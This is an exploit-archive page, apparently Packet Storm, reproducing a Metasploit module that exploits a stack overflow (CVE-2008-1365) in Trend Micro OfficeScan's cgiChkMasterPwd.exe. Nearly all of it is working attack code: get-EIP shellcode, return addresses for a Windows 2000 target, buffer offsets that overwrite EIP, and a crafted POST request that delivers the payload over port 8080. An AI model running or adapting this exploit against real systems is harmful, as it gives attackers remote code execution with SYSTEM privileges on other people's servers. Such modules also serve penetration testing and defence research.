what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Trend Micro OfficeScan Remote Stack Overflow

Trend Micro OfficeScan Remote Stack Overflow
Posted Nov 26, 2009
Authored by toto | Site metasploit.com

This Metasploit module exploits a stack overflow in Trend Micro OfficeScan cgiChkMasterPwd.exe (running with SYSTEM privileges).

tags | exploit, overflow
advisories | CVE-2008-1365
SHA-256 | 4fc603304bb5cb8a4bd83a0d27426fab1d184e3e4cf17277bbb15732277da742

Trend Micro OfficeScan Remote Stack Overflow

Change Mirror Download
require 'msf/core'
require 'metasm'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Trend Micro OfficeScan Remote Stack Overflow',
'Description' => %q{
This module exploits a stack overflow in Trend Micro OfficeScan
cgiChkMasterPwd.exe (running with SYSTEM privileges).

},
'Author' => [ 'toto' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-1365' ],
[ 'OSVDB', '42499' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'MinNops' => 0,
'MaxNops' => 0,
'Space' => 498,
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
# clean up to prevent crash on exit
'Prepend' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov dword ptr fs:[0], 0").encode_string,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# return addresses need to be alphanumeric (here in loadhttp data section)
[ 'Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)', { 'Rets' => [0x63613035, 0x63613032] } ],
],
'DisclosureDate' => 'Jun 28 2007',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
], self.class)
end

def exploit
geip_src = "
push esi
push esp
pop eax
xor esi, [eax]
push esi
pop eax
xor eax, got_eip
push eax
pop ecx
got_eip:
"

sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)

sc.base_addr = target['Rets'][0]
get_eip = sc.encode_string

pat = Rex::Text.rand_text_alphanumeric(1016)

pat[0, get_eip.length] = get_eip
pat[14, payload.encoded.length] = payload.encoded
pat[512, 4] = [target['Rets'][1]].pack('V') # string pointer (to prevent a crash)
pat[524, 4] = [target['Rets'][0]].pack('V') # sets EIP to the address where the shellcode has been copied
pat[540, 4] = [target['Rets'][0]-1].pack('V') # shellcode will be copied at this address (+1)

data = "TMlogonEncrypted=!CRYPT!" + pat
len = sprintf("%u", data.length);

print_status("Trying target address 0x%.8x..." % target['Rets'][0])

res = send_request_cgi({
'uri' => '/officescan/console/cgi/cgiChkMasterPwd.exe',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'data' => data,
}, 5)

handler
end

end
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close